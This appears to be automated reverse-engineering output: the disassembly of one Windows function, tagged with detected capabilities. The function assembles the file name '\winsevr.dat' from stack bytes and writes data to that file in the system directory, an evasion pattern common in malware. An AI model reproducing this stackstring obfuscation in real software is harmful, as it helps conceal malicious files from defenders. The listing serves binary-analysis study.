Function at 0x410d50
Capabilities:
Contain obfuscated stackstrings
Get common file path
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x43cb5c
mov eax, dword fs:[0]
push eax
sub esp, 0x294
mov eax, dword [0x4c3740]
xor eax, esp
mov dword [esp + 0x28c], eax
push ebx
push esi
push edi
mov eax, dword [0x4c3740]
xor eax, esp
push eax
lea eax, [esp + 0x2a4]
mov dword fs:[0], eax
mov ecx, 0x14
lea esi, [esp + 0x2b4]
lea edi, [esp + 0x34]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0xa1]
push ebx
push eax
movsw word es:[edi], word [esi]
mov byte [esp + 0xa8], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x200
lea ecx, [esp + 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0x9c]
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x2b0], ebx
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
cmp dword [esp + 0x2c], ebx
lea ecx, [esp + 0x18]
jne 0x410e15
mov dword [esp + 0x2ac], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x410f35
lea eax, [esp + 0x8c]
push eax
mov byte [esp + 0x90], 0x5c
mov byte [esp + 0x91], 0x77
mov byte [esp + 0x92], 0x69
mov byte [esp + 0x93], 0x6e
mov byte [esp + 0x94], 0x73
mov byte [esp + 0x95], 0x65
mov byte [esp + 0x96], 0x76
mov byte [esp + 0x97], 0x72
mov byte [esp + 0x98], 0x2e
mov byte [esp + 0x99], 0x64
mov byte [esp + 0x9a], 0x61
mov byte [esp + 0x9b], 0x74
mov byte [esp + 0x9c], bl
call dword [0x43e254]
push ebx
push ebx
sub esp, 0x1c
lea edx, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x38]
call fcn.00415a00
cmp al, bl
je 0x410efa
push 0x52
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x18], ebx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
mov esi, dword [esp + 0x14]
jne 0x410eef
push ebx
push ebx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x410eef
push ebx
lea ecx, [esp + 0x14]
push ecx
push 0x52
lea edx, [esp + 0x40]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x410f13
cmp esi, ebx
je 0x410efa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x2ac], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x410f35
cmp esi, ebx
je 0x410f1e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x2ac], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0x2a4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x28c]
xor ecx, esp
call fcn.00437634
add esp, 0x2a0
ret 0x54